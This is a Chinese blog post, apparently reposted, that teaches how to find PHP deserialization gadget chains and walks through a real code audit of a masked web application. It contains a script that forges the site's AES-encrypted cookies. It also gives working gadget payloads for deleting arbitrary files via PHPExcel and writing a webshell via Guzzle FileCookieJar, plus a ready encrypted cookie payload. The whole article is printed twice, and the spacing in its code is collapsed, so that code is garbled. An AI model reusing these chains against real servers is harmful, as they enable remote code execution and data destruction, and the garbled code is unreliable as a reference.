0x01 前言
以前因为项目需要,挖到的时候也懒的发,现在回头一看,好像自己的安全拼图少了一块,所以就补上吧 :)
0x02 旅途过程
0x02.1 寻找起点
就像出去旅游看风景一样,挑选一个合适的城市,会让旅途更加的舒服.所以,起点的寻找是一个非常重要的点,一个好的起点,可以让挖链的难度,成几何下降序列化简单点的说: 序列化是将对象或变量转换为可保存或可传输的字符串的过程, 但不会序列化类的方法所以想要反序列化达成一些目的的话,就必须配合类方法的执行,串成一个链而对于起点来说,我们需要找到可以在反序列化时就可以自动调用的方法在php里面常见的可以自动调用的方法便是魔术方法了,魔术方法很多就不一一介绍如果想知道各个魔术方法的使用可以查看该链接进行学习:https://www.yuque.com/pmiaowu/web_security_1/nxl8il目前有两个魔术方法常常被用于反序列化的入口使用:__destruct 与 __wakeup因此如果要找一个反序列化入口点,那么这两个方法就是最好的例子了__destruct(): 类的析构函数-在销毁一个类之前执行该方法__wakeup(): 执行unserialize()时,会先调用该魔术方法一般来说 __destruct() 作为起点,更好用一些!!
0x02.2 挑选跳板
而跳板就类似于旅途中做的攻略,选择要看的风景.因此,一个好的跳板,可以让我们在挖掘php反序列化中拥有事半功倍的效果而我认为所谓的跳板,就是在类方法与类方法、类变量与类变量、类方法与类变量之间相互的配合与跳跃最终达到我们想要的一个结果的过程具现化例如一: 假如有个对象里面有个__isset()魔术方法而在反序列化时有代码执行了isset()或empty(),并且其参数可控那么将isset()或empty()赋值为该对象即可自动调用__isset()魔术方法,这就可以当一个跳板例如二: 假如有个对象里面有个__toString()魔术方法而我们找到了一个字符串函数,例如trim(),并且其参数可控那么将trim()赋值为该对象即可自动调用__toString()魔术方法,这也可以当一个跳板还有常见的 $test()或是call_user_func($this->test),其中$test与$this->test可控这种只能调用没有参数的函数的方法,除了调用phpinfo(),也是可以进阶利用的例如,将变量赋值为 [(new test), "a"] 这样的一个数组即可调用test类中的a公共方法,这又是一个不错的跳板了在然后就是new $test1($test2),其中$test1与$test2可控,那么这种样式的,也可以利用拿来调用__construct()魔术方法,也是一个不错的跳板
0x02.3 行程终点
旅程的终点就向是旅游以后拍摄的美景,是我们踏上旅途的意义.最后,我认为的终点就是两种类别1. 动态调用参数可控2. 危险函数参数可控动态调用就类似于写后面时常见的$this->a($this->b),($this->a)($this->b),new $this->a($this->b)->$c危险函数的话,就需要根据需求找了例如想要任意文件删除就找unlink想要rce就找call_user_func,call_user_func_array这种函数想要任意文件写就找file_put_content这种函数
0x03 案例
这两个案例是源自于一次工作代码审计的需要挖掘的,所以会有部分信息会打码实际漏洞利用也会放当时在本地的利用截图,将就看看吧~~~
0x03.1 反序列化入口挖掘
正常文件getshell的路上都被堵死了,所以就想找个反序列化尝试进行getshell经过查找,还真找到了一个反序列化入口源码路径: ./源码/basichouse/controller/prize.class.php换成路由那就是: GET请求 http://xxx.com/?site=basichouse&ctl=prize&act=addCookie: prize_from_activity=序列化数据这样即可触发
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
源码路径: ./源码/framework/lib/cookie.class.php可以看到要跟进一个方法, lib_cookies_encrypt::get_method(ENCRYPT_KEY, 'aes');
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
img
注: 打码了一下,避免厂商信息泄漏查询一下 ENCRYPT_KEY = md5('xxxxxxxxxxx') = 02xxx8f124adxxx5adxxx5a0xxxxfdcf
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
然后继续查看一下, lib_cookies_encrypt::get_method 是怎么操作源码路径: ./源码/framework/lib/cookies/encrypt.class.php看了一下也就是说实际是:new lib_cookies_encryptaes($key);如下图
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
那就继续查找 lib_cookies_encryptaes 类源码路径: ./源码/framework/lib/cookies/encryptaes.class.php
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
那就继续查找 lib_cookies_encryptaes 类源码路径: ./源码/framework/lib/cookies/encryptaes.class.php
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
源码路径: ./源码/framework/lib/cookies/aes256.class.php看到这里就简单了,只需要把这个加密解密的方法直接抽出来就可以在本地加密数据,在目标上复现拉
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
0x03.2 反序列化入口加解密小脚本
// 序列化数据加解密小脚本// 文件名称: a.php<?php//cookies加密saltdefine('ENCRYPT_KEY', md5('xxxxxxxxxxx'));classlib_cookie{publicstaticfunctionsetcookie($name, $value = null, $expire = null, $path = null, $domain = null, $secure = null, $httponly = null){if(!empty($value)) {$value=serialize($value);$encrypt = lib_cookies_encrypt::get_method( ENCRYPT_KEY, 'aes' );$value = $encrypt->encrypt($value);echo'序列化数据: ' . urlencode($value) . '<br/>'; }returnsetcookie($name, $value, $expire, $path, $domain, $secure, $httponly); }publicstaticfunctiongetcookie($name){if(!empty($_COOKIE[$name])) {$encrypt = lib_cookies_encrypt::get_method( ENCRYPT_KEY, 'aes' );$value=$encrypt->decrypt($_COOKIE[$name]);returnunserialize($value); }returnfalse; }}//加密类型接口,加密类型,都基于此类扩展abstractclasslib_cookies_encrypt{static$method = array('aes');//加密类型.abstractpublicfunctionget_name();//加密方法,返回加密后到密文abstractpublicfunctionencrypt($data);//解密方法,返回解密后到明文publicfunctiondecrypt($endata){return$this->decrypt($endata); }/** * @static * @param string $name * @param $key * @return baccarat_cookie_encrypt */staticpublicfunctionget_method($key, $name='aes'){if(in_array($name,self::$method)) {$classname = 'lib_cookies_encrypt'.$name;returnnew$classname($key); }else {returnnull; } }}classlib_cookies_encryptaesextendslib_cookies_encrypt{private$aes;publicfunction__construct($key){$this->aes = newlib_cookies_aes256($key); }publicfunctionget_name(){return"aes"; }publicfunctionencrypt($data){$data = rawurlencode($data);returnbase64_encode($this->aes->encrypt($data)); }publicfunctiondecrypt($data){returnrawurldecode($this->aes->decrypt(base64_decode($data))); }}classlib_cookies_aes256{publicfunction__construct($key) {$this->key = $key;$this->iv = 'XxxxxxnzxxxxxxxxXxxxxg=='; }publicfunctionencrypt($data) {$encrypted = openssl_encrypt($data, 'aes-256-cbc', $this->key, OPENSSL_RAW_DATA, base64_decode($this->iv));return$encrypted; }publicfunctiondecrypt($encrypted) {$decrypted = openssl_decrypt($encrypted, 'aes-256-cbc', $this->key, OPENSSL_RAW_DATA, base64_decode($this->iv));return$decrypted; }}// 加密测试$from_type = "1111aa";$from_activity = "22222aa";$from_url = "https://baidu.com/aaaaaaaaaaaaa";$data = $from_type . '|' . $from_activity . '|' . $from_url;lib_cookie::setcookie('prize_from_activity', $data, time() + 86400);// 解密测试$prize_from_activity = lib_cookie::getcookie('prize_from_activity');var_dump($prize_from_activity);?>
0x03.3 反序列化口子测试
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
0x03.4 链子-任意文件删除
0x03.4.1 效果测试
本地验证试试
// 任意文件删除-序列化数据// $_tempFileName = 要删除的文件// 执行完以后页面就会删除序列化的数据了classPHPExcel_Shared_XMLWriterextendsXMLWriter{private$_tempFileName = 'C:SoftwarephpStudyPHPTutorialWWW1.txt';}$data = newPHPExcel_Shared_XMLWriter();lib_cookie::setcookie('prize_from_activity', $data, time() + 86400);
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
然后把这个序列化的数据放到http://www.test123.com/index.php?site=basichouse&ctl=prize&act=add接口的Cookie的prize_from_activity即可
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
0x03.4.2 链子原理
路径: ./源码/framework/include/PHPExcel/Shared/XMLWriter.php打开以后直接查看 __destruct 方法即可,没什么难度可说
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
0x03.5 链子-任意文件写入漏洞
0x03.5.1 效果测试
本地验证试试
<?phpnamespaceGuzzleHttpCookie{classSetCookie {private $data;publicfunction__construct($data){$this->data = ['Expires' => 1,'Discard' => false,'asdsada' => $data ]; } }classCookieJar{private$cookies = [];private$strictMode;publicfunction__construct($data){ $this->cookies = [newSetCookie($data)]; } }classFileCookieJarextendsCookieJar{private$filename;private$storeSessionCookies = true;publicfunction__construct($filename, $data){parent::__construct($data);$this->filename = $filename; } }}?><?phpinclude"./file_payload.php";// 任意文件写入-序列化数据$path = 'C:SoftwarephpStudyPHPTutorialWWWwebshell.php';$data = '<?php var_dump(`whoami`);?>';$data = newGuzzleHttpCookieFileCookieJar($path, $data);lib_cookie::setcookie('prize_from_activity', $data, time() + 86400);?>然后把这个序列化的数据放到http://www.test123.com/index.php?site=basichouse&ctl=prize&act=add接口的Cookie的prize_from_activity即可
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
0x03.5.2 链子原理
路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php打开以后直接先查看 __destruct 方法可以看到 __destruct() 会调用 save() 方法而save()方法会调用 file_put_contents($filename, $jsonStr)其中 $filename 这个变量,我们直接就可外部控制所以如何控制$jsonStr的数据就是要探讨的问题了从下图可以看到$jsonStr的数据是从一个foreach里面获取的,并且foreach的对象是一个$this注意:当foreach的是一个类对象的话, 那么需要这个类需要继承一个Iterator基类并且添加一个getIterator()方法, 作为迭代器那么才能进入到foreach循环, 否则foreach就会忽略该类对象有关迭代器的资料可以看这一篇文章: https://www.php.net/manual/zh/class.iterator.php而我们这个$this肯定是一个类对象, 那么如何进入foreach就是现在就要解决的问题了从上面的注意事项我们知道了, $this里面的类对象需要继承到一个Iterator基类并且添加类对象一个getIterator()方法如何进入foreach这个问题,我们可以查看foreach循环代码路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php方法: save()核心代码: CookieJar::shouldPersist进去以后可以看到这一句代码if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) { $json[] = $cookie->toArray();}也就是说并且需要通过 CookieJar::shouldPersist 的验证最终才会让 $jsonStr 有数据
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
如何让FileCookieJar.php的save()方法的foreach有数据?这里我们可以查看一下 CookieJar.php 的 getIterator() 方法前面说过了当foreach的是一个类对象时那么需要这个类需要继承一个Iterator基类并且添加一个getIterator()方法, 作为迭代器那么才能进入到foreach循环, 否则foreach就会忽略该类对象而这个CookieJar.php刚好符合要求路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/CookieJar.php方法: getIterator()里面写的很清楚了,CookieJar类的$cookies会作为迭代器的数据返回回去如下图:
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
这里我们可以查看一下FileCookieJar.php文件的save方法的$this数据无需在意,内心有个底即可写文件的序列化数据: prize_from_activity=ChFt5xViYmou2DGL5hQqU1gjtGd7mU3re9i53NmTp7zaYiYMb86yuepDoqRBUuNioTWXUtgn5MyIiia0j6o3Q9LcsedX%2F88ADfhtuvRAIOEw1giFiki2T7Qi%2BvRBd8JIFH4ZlZR6%2ByPDCrYdo%2B5%2B7tbgrG0BwymmS8kTh9kH2Bzk8MyM5mOF1QSy1n%2FqIfedBIEZ2w93d0XkJz2eGTm8Tj3EweEYCUu7LvJhaf8ykTRdV6e4wHIKHdDyt8rXve9zMIXYuls%2B6fa7f%2B1HOctTkBg5IuhVmRAYAcRC1g%2BcdOJGWQM0F4DRmsQzT5H3FCo5%2BGKHKPTAfOQnAr2iis4an1FR0evpbZXsKU65uOmngYo93edtNTsKKy8c641IlM4W3%2Bw%2BMykwJNPWL89luYsKARXuH4BcF2rYv5dlN8BOZnwkOIsACwn5zSsG1070KyGp0AsCpJ1GU6apIpBoDHK4bLIj3GsjypGqscSHaa5Maq%2BOVPK%2FjBSPdijK9QM0QhHumqjNwIONHT1Sh2eht5IoSSKNq%2FVMAxcPYdgTrjz4XgtQD2%2BxdhdjPZc4Rhk0%2BoYEEJrKZ02Ghpcn%2FOtONOEUr3uCnZx1vu1KxOIfuBvbBIvuJuIANu8pwTQM1XrliegoI0%2Bl2k%2BfqpR2wCrRYwuqFFtzGuf6snzMFi%2FKr6TdLwHUP8aJGfcjW8dyxH0wqqBxm1tUGKpbWuVzduNXszxDZCdUUD%2FRvj7vYdSQvTP4ldnOyzgcDgnwdlszDM5g68VAlX0QryxJxfm4vNxCcbFaNwPtfBD2DqjLCGw%2F%2BuqEaPN%2FyXeQE7a9L9eqbTNxWqAldFtCkkBznE7DYgHlzigX%2Feno7Hzhyrr92Lssgk5IQDVLBXBColbRXGYMHMY1iPx3e3X27z0T0YAUHPY%2BUklcE4k%2FAEQQWeiB%2FahAfsqoaXP3757bqpS%2Ba9rxPt1D3MNxlEH1%2BTXAVKaM1a0N6ls4xw%3D%3D
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
跟进去CookieJar类的shouldPersist方法路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/CookieJar.php方法: shouldPersist()如下图显示的核心代码public static function shouldPersist( SetCookie $cookie, $allowSessionCookies = false) { if ($cookie->getExpires() || $allowSessionCookies) { if (!$cookie->getDiscard()) { return true; } } return false;}其中 $allowSessionCookies 无视掉,因为可直接构造,不需要脑子而 $cookie 写的很明显了,需要接收的方式为 SetCookie 对象并且会调用 $cookie->getExpires() 还有 $cookie->getDiscard()从下图就可以看到$cookie里面需要有什么,需要一个Expires与Discard也就是说 $cookie->getExpires() 或是 $allowSessionCookies 一个为 true 即可进入下一步然后 $cookie->getDiscard() 为 false 即可返回一个 true所以如何构造这个数组就是下一步要解决的问题了
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
现在可以开始想办法看看如何构造 SetCookie $cookie 为我们需要的数组了路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/SetCookie.php从上面的截图来看, $cookie->getExpires() 与 $cookie->getDiscard()调用的都是 SetCookie.php 的 $this->data 里的数据,所以直接查看 $this->data 在哪里修改即可从下图来看已经很清楚了,在构造函数或是直接修改都可以
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
继续回去路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php方法: save()现在在看看 $json[] = $cookie->toArray(); 要怎么处理才能有数据跟进去: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/SetCookie.php方法: toArray()哇哦,是直接返回的 $this->data; 也就是说,直接修改即可
![【代码审计】php反序列化挖掘思路 【代码审计】php反序列化挖掘思路]()
这样整个逻辑就通了 
0x04 小结
挖完以后很开心, 最后面项目打完了才发现, 在phpggc这个项目里面就有记录了, 也行吧...项目地址: https://github.com/ambionics/phpggc总的来说,php的反序列化对比java的反序列化好挖不少php的反序列化链路,我个人感觉就像是在搭积木,只要搭的好就有链而java的反序列化链路,就想是在刺绣,需要一在的仔细在仔细并且利用好各种的小姿势,最终成为一个链总的来说自己还是太菜了,emmmmm继续学习吧
0x05 参考链接
https://www.yuque.com/pmiaowu/bfgkkh/wq5nqe
0x01 前言
以前因为项目需要,挖到的时候也懒的发,现在回头一看,好像自己的安全拼图少了一块,所以就补上吧 :)
0x02 旅途过程
0x02.1 寻找起点
就像出去旅游看风景一样,挑选一个合适的城市,会让旅途更加的舒服.所以,起点的寻找是一个非常重要的点,一个好的起点,可以让挖链的难度,成几何下降序列化简单点的说: 序列化是将对象或变量转换为可保存或可传输的字符串的过程, 但不会序列化类的方法所以想要反序列化达成一些目的的话,就必须配合类方法的执行,串成一个链而对于起点来说,我们需要找到可以在反序列化时就可以自动调用的方法在php里面常见的可以自动调用的方法便是魔术方法了,魔术方法很多就不一一介绍如果想知道各个魔术方法的使用可以查看该链接进行学习:https://www.yuque.com/pmiaowu/web_security_1/nxl8il目前有两个魔术方法常常被用于反序列化的入口使用:__destruct 与 __wakeup因此如果要找一个反序列化入口点,那么这两个方法就是最好的例子了__destruct(): 类的析构函数-在销毁一个类之前执行该方法__wakeup(): 执行unserialize()时,会先调用该魔术方法一般来说 __destruct() 作为起点,更好用一些!!
0x02.2 挑选跳板
而跳板就类似于旅途中做的攻略,选择要看的风景.因此,一个好的跳板,可以让我们在挖掘php反序列化中拥有事半功倍的效果而我认为所谓的跳板,就是在类方法与类方法、类变量与类变量、类方法与类变量之间相互的配合与跳跃最终达到我们想要的一个结果的过程具现化例如一: 假如有个对象里面有个__isset()魔术方法而在反序列化时有代码执行了isset()或empty(),并且其参数可控那么将isset()或empty()赋值为该对象即可自动调用__isset()魔术方法,这就可以当一个跳板例如二: 假如有个对象里面有个__toString()魔术方法而我们找到了一个字符串函数,例如trim(),并且其参数可控那么将trim()赋值为该对象即可自动调用__toString()魔术方法,这也可以当一个跳板还有常见的 $test()或是call_user_func($this->test),其中$test与$this->test可控这种只能调用没有参数的函数的方法,除了调用phpinfo(),也是可以进阶利用的例如,将变量赋值为 [(new test), "a"] 这样的一个数组即可调用test类中的a公共方法,这又是一个不错的跳板了在然后就是new $test1($test2),其中$test1与$test2可控,那么这种样式的,也可以利用拿来调用__construct()魔术方法,也是一个不错的跳板
0x02.3 行程终点
旅程的终点就向是旅游以后拍摄的美景,是我们踏上旅途的意义.最后,我认为的终点就是两种类别1. 动态调用参数可控2. 危险函数参数可控动态调用就类似于写后面时常见的$this->a($this->b),($this->a)($this->b),new $this->a($this->b)->$c危险函数的话,就需要根据需求找了例如想要任意文件删除就找unlink想要rce就找call_user_func,call_user_func_array这种函数想要任意文件写就找file_put_content这种函数
0x03 案例
这两个案例是源自于一次工作代码审计的需要挖掘的,所以会有部分信息会打码实际漏洞利用也会放当时在本地的利用截图,将就看看吧~~~
0x03.1 反序列化入口挖掘
正常文件getshell的路上都被堵死了,所以就想找个反序列化尝试进行getshell经过查找,还真找到了一个反序列化入口源码路径: ./源码/basichouse/controller/prize.class.php换成路由那就是: GET请求 http://xxx.com/?site=basichouse&ctl=prize&act=addCookie: prize_from_activity=序列化数据这样即可触发
源码路径: ./源码/framework/lib/cookie.class.php可以看到要跟进一个方法, lib_cookies_encrypt::get_method(ENCRYPT_KEY, 'aes');
注: 打码了一下,避免厂商信息泄漏查询一下 ENCRYPT_KEY = md5('xxxxxxxxxxx') = 02xxx8f124adxxx5adxxx5a0xxxxfdcf
然后继续查看一下, lib_cookies_encrypt::get_method 是怎么操作源码路径: ./源码/framework/lib/cookies/encrypt.class.php看了一下也就是说实际是:new lib_cookies_encryptaes($key);如下图
那就继续查找 lib_cookies_encryptaes 类源码路径: ./源码/framework/lib/cookies/encryptaes.class.php
那就继续查找 lib_cookies_encryptaes 类源码路径: ./源码/framework/lib/cookies/encryptaes.class.php
源码路径: ./源码/framework/lib/cookies/aes256.class.php看到这里就简单了,只需要把这个加密解密的方法直接抽出来就可以在本地加密数据,在目标上复现拉
0x03.2 反序列化入口加解密小脚本
// 序列化数据加解密小脚本// 文件名称: a.php<?php//cookies加密saltdefine('ENCRYPT_KEY', md5('xxxxxxxxxxx'));classlib_cookie{publicstaticfunctionsetcookie($name, $value = null, $expire = null, $path = null, $domain = null, $secure = null, $httponly = null){if(!empty($value)) {$value=serialize($value);$encrypt = lib_cookies_encrypt::get_method( ENCRYPT_KEY, 'aes' );$value = $encrypt->encrypt($value);echo'序列化数据: ' . urlencode($value) . '<br/>'; }returnsetcookie($name, $value, $expire, $path, $domain, $secure, $httponly); }publicstaticfunctiongetcookie($name){if(!empty($_COOKIE[$name])) {$encrypt = lib_cookies_encrypt::get_method( ENCRYPT_KEY, 'aes' );$value=$encrypt->decrypt($_COOKIE[$name]);returnunserialize($value); }returnfalse; }}//加密类型接口,加密类型,都基于此类扩展abstractclasslib_cookies_encrypt{static$method = array('aes');//加密类型.abstractpublicfunctionget_name();//加密方法,返回加密后到密文abstractpublicfunctionencrypt($data);//解密方法,返回解密后到明文publicfunctiondecrypt($endata){return$this->decrypt($endata); }/** * @static * @param string $name * @param $key * @return baccarat_cookie_encrypt */staticpublicfunctionget_method($key, $name='aes'){if(in_array($name,self::$method)) {$classname = 'lib_cookies_encrypt'.$name;returnnew$classname($key); }else {returnnull; } }}classlib_cookies_encryptaesextendslib_cookies_encrypt{private$aes;publicfunction__construct($key){$this->aes = newlib_cookies_aes256($key); }publicfunctionget_name(){return"aes"; }publicfunctionencrypt($data){$data = rawurlencode($data);returnbase64_encode($this->aes->encrypt($data)); }publicfunctiondecrypt($data){returnrawurldecode($this->aes->decrypt(base64_decode($data))); }}classlib_cookies_aes256{publicfunction__construct($key) {$this->key = $key;$this->iv = 'XxxxxxnzxxxxxxxxXxxxxg=='; }publicfunctionencrypt($data) {$encrypted = openssl_encrypt($data, 'aes-256-cbc', $this->key, OPENSSL_RAW_DATA, base64_decode($this->iv));return$encrypted; }publicfunctiondecrypt($encrypted) {$decrypted = openssl_decrypt($encrypted, 'aes-256-cbc', $this->key, OPENSSL_RAW_DATA, base64_decode($this->iv));return$decrypted; }}// 加密测试$from_type = "1111aa";$from_activity = "22222aa";$from_url = "https://baidu.com/aaaaaaaaaaaaa";$data = $from_type . '|' . $from_activity . '|' . $from_url;lib_cookie::setcookie('prize_from_activity', $data, time() + 86400);// 解密测试$prize_from_activity = lib_cookie::getcookie('prize_from_activity');var_dump($prize_from_activity);?>
0x03.3 反序列化口子测试
0x03.4 链子-任意文件删除
0x03.4.1 效果测试
本地验证试试
// 任意文件删除-序列化数据// $_tempFileName = 要删除的文件// 执行完以后页面就会删除序列化的数据了classPHPExcel_Shared_XMLWriterextendsXMLWriter{private$_tempFileName = 'C:SoftwarephpStudyPHPTutorialWWW1.txt';}$data = newPHPExcel_Shared_XMLWriter();lib_cookie::setcookie('prize_from_activity', $data, time() + 86400);
然后把这个序列化的数据放到http://www.test123.com/index.php?site=basichouse&ctl=prize&act=add接口的Cookie的prize_from_activity即可
0x03.4.2 链子原理
路径: ./源码/framework/include/PHPExcel/Shared/XMLWriter.php打开以后直接查看 __destruct 方法即可,没什么难度可说
0x03.5 链子-任意文件写入漏洞
0x03.5.1 效果测试
本地验证试试
<?phpnamespaceGuzzleHttpCookie{classSetCookie {private $data;publicfunction__construct($data){$this->data = ['Expires' => 1,'Discard' => false,'asdsada' => $data ]; } }classCookieJar{private$cookies = [];private$strictMode;publicfunction__construct($data){ $this->cookies = [newSetCookie($data)]; } }classFileCookieJarextendsCookieJar{private$filename;private$storeSessionCookies = true;publicfunction__construct($filename, $data){parent::__construct($data);$this->filename = $filename; } }}?><?phpinclude"./file_payload.php";// 任意文件写入-序列化数据$path = 'C:SoftwarephpStudyPHPTutorialWWWwebshell.php';$data = '<?php var_dump(`whoami`);?>';$data = newGuzzleHttpCookieFileCookieJar($path, $data);lib_cookie::setcookie('prize_from_activity', $data, time() + 86400);?>然后把这个序列化的数据放到http://www.test123.com/index.php?site=basichouse&ctl=prize&act=add接口的Cookie的prize_from_activity即可
0x03.5.2 链子原理
路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php打开以后直接先查看 __destruct 方法可以看到 __destruct() 会调用 save() 方法而save()方法会调用 file_put_contents($filename, $jsonStr)其中 $filename 这个变量,我们直接就可外部控制所以如何控制$jsonStr的数据就是要探讨的问题了从下图可以看到$jsonStr的数据是从一个foreach里面获取的,并且foreach的对象是一个$this注意:当foreach的是一个类对象的话, 那么需要这个类需要继承一个Iterator基类并且添加一个getIterator()方法, 作为迭代器那么才能进入到foreach循环, 否则foreach就会忽略该类对象有关迭代器的资料可以看这一篇文章: https://www.php.net/manual/zh/class.iterator.php而我们这个$this肯定是一个类对象, 那么如何进入foreach就是现在就要解决的问题了从上面的注意事项我们知道了, $this里面的类对象需要继承到一个Iterator基类并且添加类对象一个getIterator()方法如何进入foreach这个问题,我们可以查看foreach循环代码路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php方法: save()核心代码: CookieJar::shouldPersist进去以后可以看到这一句代码if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) { $json[] = $cookie->toArray();}也就是说并且需要通过 CookieJar::shouldPersist 的验证最终才会让 $jsonStr 有数据
如何让FileCookieJar.php的save()方法的foreach有数据?这里我们可以查看一下 CookieJar.php 的 getIterator() 方法前面说过了当foreach的是一个类对象时那么需要这个类需要继承一个Iterator基类并且添加一个getIterator()方法, 作为迭代器那么才能进入到foreach循环, 否则foreach就会忽略该类对象而这个CookieJar.php刚好符合要求路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/CookieJar.php方法: getIterator()里面写的很清楚了,CookieJar类的$cookies会作为迭代器的数据返回回去如下图:
这里我们可以查看一下FileCookieJar.php文件的save方法的$this数据无需在意,内心有个底即可写文件的序列化数据: prize_from_activity=ChFt5xViYmou2DGL5hQqU1gjtGd7mU3re9i53NmTp7zaYiYMb86yuepDoqRBUuNioTWXUtgn5MyIiia0j6o3Q9LcsedX%2F88ADfhtuvRAIOEw1giFiki2T7Qi%2BvRBd8JIFH4ZlZR6%2ByPDCrYdo%2B5%2B7tbgrG0BwymmS8kTh9kH2Bzk8MyM5mOF1QSy1n%2FqIfedBIEZ2w93d0XkJz2eGTm8Tj3EweEYCUu7LvJhaf8ykTRdV6e4wHIKHdDyt8rXve9zMIXYuls%2B6fa7f%2B1HOctTkBg5IuhVmRAYAcRC1g%2BcdOJGWQM0F4DRmsQzT5H3FCo5%2BGKHKPTAfOQnAr2iis4an1FR0evpbZXsKU65uOmngYo93edtNTsKKy8c641IlM4W3%2Bw%2BMykwJNPWL89luYsKARXuH4BcF2rYv5dlN8BOZnwkOIsACwn5zSsG1070KyGp0AsCpJ1GU6apIpBoDHK4bLIj3GsjypGqscSHaa5Maq%2BOVPK%2FjBSPdijK9QM0QhHumqjNwIONHT1Sh2eht5IoSSKNq%2FVMAxcPYdgTrjz4XgtQD2%2BxdhdjPZc4Rhk0%2BoYEEJrKZ02Ghpcn%2FOtONOEUr3uCnZx1vu1KxOIfuBvbBIvuJuIANu8pwTQM1XrliegoI0%2Bl2k%2BfqpR2wCrRYwuqFFtzGuf6snzMFi%2FKr6TdLwHUP8aJGfcjW8dyxH0wqqBxm1tUGKpbWuVzduNXszxDZCdUUD%2FRvj7vYdSQvTP4ldnOyzgcDgnwdlszDM5g68VAlX0QryxJxfm4vNxCcbFaNwPtfBD2DqjLCGw%2F%2BuqEaPN%2FyXeQE7a9L9eqbTNxWqAldFtCkkBznE7DYgHlzigX%2Feno7Hzhyrr92Lssgk5IQDVLBXBColbRXGYMHMY1iPx3e3X27z0T0YAUHPY%2BUklcE4k%2FAEQQWeiB%2FahAfsqoaXP3757bqpS%2Ba9rxPt1D3MNxlEH1%2BTXAVKaM1a0N6ls4xw%3D%3D
跟进去CookieJar类的shouldPersist方法路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/CookieJar.php方法: shouldPersist()如下图显示的核心代码public static function shouldPersist( SetCookie $cookie, $allowSessionCookies = false) { if ($cookie->getExpires() || $allowSessionCookies) { if (!$cookie->getDiscard()) { return true; } } return false;}其中 $allowSessionCookies 无视掉,因为可直接构造,不需要脑子而 $cookie 写的很明显了,需要接收的方式为 SetCookie 对象并且会调用 $cookie->getExpires() 还有 $cookie->getDiscard()从下图就可以看到$cookie里面需要有什么,需要一个Expires与Discard也就是说 $cookie->getExpires() 或是 $allowSessionCookies 一个为 true 即可进入下一步然后 $cookie->getDiscard() 为 false 即可返回一个 true所以如何构造这个数组就是下一步要解决的问题了
现在可以开始想办法看看如何构造 SetCookie $cookie 为我们需要的数组了路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/SetCookie.php从上面的截图来看, $cookie->getExpires() 与 $cookie->getDiscard()调用的都是 SetCookie.php 的 $this->data 里的数据,所以直接查看 $this->data 在哪里修改即可从下图来看已经很清楚了,在构造函数或是直接修改都可以
继续回去路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php方法: save()现在在看看 $json[] = $cookie->toArray(); 要怎么处理才能有数据跟进去: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/SetCookie.php方法: toArray()哇哦,是直接返回的 $this->data; 也就是说,直接修改即可
这样整个逻辑就通了
0x04 小结
挖完以后很开心, 最后面项目打完了才发现, 在phpggc这个项目里面就有记录了, 也行吧...项目地址: https://github.com/ambionics/phpggc总的来说,php的反序列化对比java的反序列化好挖不少php的反序列化链路,我个人感觉就像是在搭积木,只要搭的好就有链而java的反序列化链路,就想是在刺绣,需要一在的仔细在仔细并且利用好各种的小姿势,最终成为一个链总的来说自己还是太菜了,emmmmm继续学习吧
0x05 参考链接
https://www.yuque.com/pmiaowu/bfgkkh/wq5nqe
转载自:pmiaowu
如有侵权,请联系删除
原文始发于微信公众号(Z0安全):【代码审计】php反序列化挖掘思路
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
